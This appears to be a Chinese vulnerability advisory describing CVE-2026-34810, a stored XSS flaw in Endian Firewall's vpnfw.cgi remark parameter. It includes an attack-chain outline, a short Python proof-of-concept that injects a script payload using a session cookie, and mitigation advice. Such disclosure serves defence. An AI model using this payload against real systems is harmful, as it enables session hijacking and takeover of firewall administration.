IPBUF安全漏洞报告
English
CVE-2026-34810 CVSS 6.4 中危

CVE-2026-34810 Endian防火墙存储型XSS漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-34810
漏洞类型
存储型XSS
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Endian Firewall

相关标签

XSS存储型XSSEndian FirewallWeb安全CVE-2026-34810

漏洞概述

Endian Firewall 3.3.25及更早版本存在存储型跨站脚本(XSS)漏洞。攻击者可通过/cgi-bin/vpnfw.cgi接口的remark参数注入恶意JavaScript代码。由于该漏洞需要身份验证,经过认证的攻击者利用此漏洞可劫持管理员会话,并在其他用户访问受影响页面时执行任意脚本操作。

技术细节

该漏洞的根源在于Endian Firewall应用程序在处理用户提交的VPN防火墙配置数据时,缺乏对特定输入参数的严格安全过滤。具体而言,/cgi-bin/vpnfw.cgi脚本直接接收并处理用户通过POST请求提交的remark参数,未执行任何HTML实体编码或XSS过滤机制。攻击者在获得低权限用户凭证后,可以精心构造一段恶意的JavaScript代码,并将其作为remark字段的值提交给服务器。服务器将此恶意数据持久化存储在数据库中。当管理员或高权限用户后续访问相关的VPN配置管理页面时,服务器会读取该数据并直接输出到HTML响应中,导致受害者的浏览器解析并执行攻击者注入的脚本。这种存储型XSS攻击使得攻击者能够利用受害者的身份执行未授权操作,窃取敏感的Session ID,甚至进一步接管服务器管理权限。

攻击链分析

STEP 1
侦察与登录
攻击者识别目标为Endian Firewall系统,并获取有效的低权限用户账户凭证。
STEP 2
漏洞利用
攻击者构造包含恶意JavaScript代码的HTTP POST请求,发送至/cgi-bin/vpnfw.cgi接口,通过remark参数提交Payload。
STEP 3
存储恶意代码
服务器接收请求,未经过滤直接将remark参数的内容存储在后台数据库或配置文件中。
STEP 4
触发执行
当管理员或其他用户访问包含被注入remark数据的VPN配置管理页面时,恶意脚本在受害者浏览器中自动执行。
STEP 5
后渗透攻击
利用执行的脚本窃取Session Cookie、重定向至钓鱼网站或以管理员身份执行后台操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL configuration target_url = "http://target-ip/cgi-bin/vpnfw.cgi" # Attacker's authenticated session cookie cookies = { "sid": "valid_session_cookie_here" } # Malicious payload injected into the 'remark' parameter payload_data = { "action": "save_config", "remark": ""><script>alert(document.cookie);</script>" } def exploit(): try: # Send POST request to inject payload response = requests.post(target_url, data=payload_data, cookies=cookies, timeout=10) if response.status_code == 200: print("[+] Payload successfully injected.") print("[+] Check the VPN configuration page to trigger the XSS.") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.RequestException as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": exploit()

影响范围

Endian Firewall <= 3.3.25

防御指南

临时缓解措施
在未修复漏洞前,建议严格限制管理后台的访问权限,仅允许可信IP地址访问。同时,建议管理员在查看包含用户输入的配置页面时保持警惕,并在浏览器中禁用JavaScript或使用NoScript等插件作为临时防护手段。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表